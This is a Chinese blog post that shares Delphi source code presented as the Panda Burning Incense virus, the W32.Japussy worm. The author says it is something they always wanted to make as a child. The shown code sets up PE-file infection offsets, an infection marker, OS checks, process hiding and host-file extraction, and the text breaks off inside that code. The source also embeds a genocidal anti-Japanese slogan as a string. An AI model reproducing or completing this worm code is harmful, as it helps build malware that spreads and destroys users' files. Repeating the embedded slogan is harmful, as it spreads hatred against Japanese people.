熊猫源码（不是很全，大体框架是有的）小时候一直想做的一个东西哈哈哈

最新推荐文章于 2024-08-21 09:37:54 发布

Coisini、

最新推荐文章于 2024-08-21 09:37:54 发布

阅读量2.8k

点赞数

文章标签：熊猫烧香

本文链接：https://blog.csdn.net/kclax/article/details/90524751

版权

本文提供了一段疑似熊猫烧香病毒的Delphi源码，展示了病毒如何感染PE文件、发送带毒邮件及破坏特定类型的文件。源码中包含提取主图标、填充病毒体、遍历磁盘文件并感染的函数。同时，文中提到可以使用CMD命令`shutdown -a`来取消计算机的倒计时关机，提示反病毒措施。

摘要由CSDN通过智能技术生成

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主图标的大小–744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = 444444; //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ’ +
'If a country need to be destroyed, it must be Japan! ’ +
‘*** W32.Japussy.Worm.A ***’;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external ‘Kernel32.dll’; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部